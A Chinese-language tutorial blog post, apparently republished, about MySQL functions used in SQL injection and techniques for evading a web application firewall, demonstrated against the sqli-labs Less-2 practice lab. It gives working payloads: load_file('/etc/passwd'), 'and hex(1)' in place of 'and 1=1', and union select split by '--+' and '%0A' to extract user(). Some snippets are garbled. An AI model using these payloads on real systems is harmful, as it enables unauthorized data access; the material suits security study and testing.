sql注入常用函数与bypasswaf

前端之家收集整理的这篇文章主要介绍了sql注入常用函数与bypasswaf前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

0x00  前言 

sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不严格的时候能有效的去绕过waf。

0x01  了解常见函数

  1. system user() 系统用户名
  2. concat() 连接字符串
  3. user() 用户名
  4. concat_ws() 含有分隔符地连接字符串
  5. current_user() 当前用户名
  6. group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据
  7. session_user() 连接数据库 用户名
  8. load_file() 读取本地文件
  9. database() 数据库
  10. into outfile 文件
  11. version() 数据库版本
  12. ascii() 字符串的ASCII码值
  13. @@datadir 数据库路径
  14. ord() 返回字符串第一个字符的 ASCII码值
  15. @@basedir 数据库安装 路径
  16. mid() 返回一个字符串的一部分
  17. @@version_compile_os 操作系统
  18. substr() 返回一个字符串的一部分
  19. count() 返回执行结 数量
  20. length() 返回字符串的长度
  21. substring 取值函数
  22. div 除法运算函数 / 用法一样
  23. mod: 取余数函数
    hex():获取16进制的值

 

查询系统用户名

  1. @H_301_25@select system_user();

 

 

 

 

 

concat_ws 拼接函数

  1. select concat_ws("|",ab");

 

 

 这个也是一个拼接函数,在group_concat和concat被禁用的时候就可以使用到这个函数

char_length 用法

  1. select char_length('123456') as abc;

 

计算值的长度命名为abc,在sql语法里面规则是这么定的,我也不知道为啥。

 

character_length

  1. select character_length(123") as abc;

 

character_length的用法和char_length基本一样  功能也差不多

 

截取字符串函数

 

 

 

  1. select left(1);

 

从左边开始截取第一个值

  1. select load_file(/etc/passwd');

读取本地的passwd文件

 

 

 @@datadir  显示数据库的路径

  1. select @@datadir

 @@basedir  显示数据库的安装路径

  1. select @@basedir

那么现在来尝试一下,正常查询语句拼接 and 语句来模拟注入。模拟现在waf 拦截and 1=1 的等于号,那么我们可以使用其他的运算符。

  1. select * from users where id=1 and 1 div 1;

正常

  1. 0;

报错

div 相当于sql语句里面的/ 斜杠 也就是除号。

  1. 1 like 0;

报错

 

like :模糊查询

  1. 1 * 0;

报错

只要and 后面的条件成立等于true 就能执行能够判断是否存在注入。

比如绕过还可以使用到hex()这个函数

0x02  bypass waf

  1. and 1=1拦截
  2. and 1 拦截

 

 

  1. and hex(0)

 

 

 

 

报错不拦截

 

  1. and hex(1)

 

 

 

 

 

 

正常绕 and 判断。

那么再来爆出他的字段进行联合查询

  1. order by 拦截
  2.  
  3. order by 3正常
  4.  
  5. order by 4报错

  

字段为3个

使用联合查询来报错数据

 

 

 

 拦截  那么我们来fuzz一下他拦截的是哪个函数

那么我们还可以使用--+ 和%0a来绕过union select

  1. union select 拦截
  2. union 拦截
  3. select 拦截

 

那么拦截的就是他们拼接一起。

我们这时候可以来把他中间的空格位置给fuzz一下。

  1. union/**/ 拦截
  2. union/*abc*/!abc 拦截,但语句无法执行
  3. union--+*/%0Aselect 语句能正常执行。

 

  1. 127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+*/%0Aselect 1,1)">2,1)">3

在id后面的位置呢可以加个.0来代替空格,因为MysqL 不识别浮点型。

 

 

 再来试试其他方式

  1. http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+hex(0)%0Aselect%201,2,3

一样能成功查询出来。

这时候就可以结合到我们的查询函数user(),来查询看看

 

  1. http:127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect%201,user(),3

拦截  那么他拦截的肯定是user()这个函数,再来fuzz一下

user不拦截

()不拦截

那么从他中间插入payload打乱正则。

 

 成功爆出数据。

0x03  结尾

咱也不知道该说啥,来插个表情包吧!

 

 

 

 

 

 

select concat_ws("|","a","b");

猜你在找的网络安全相关文章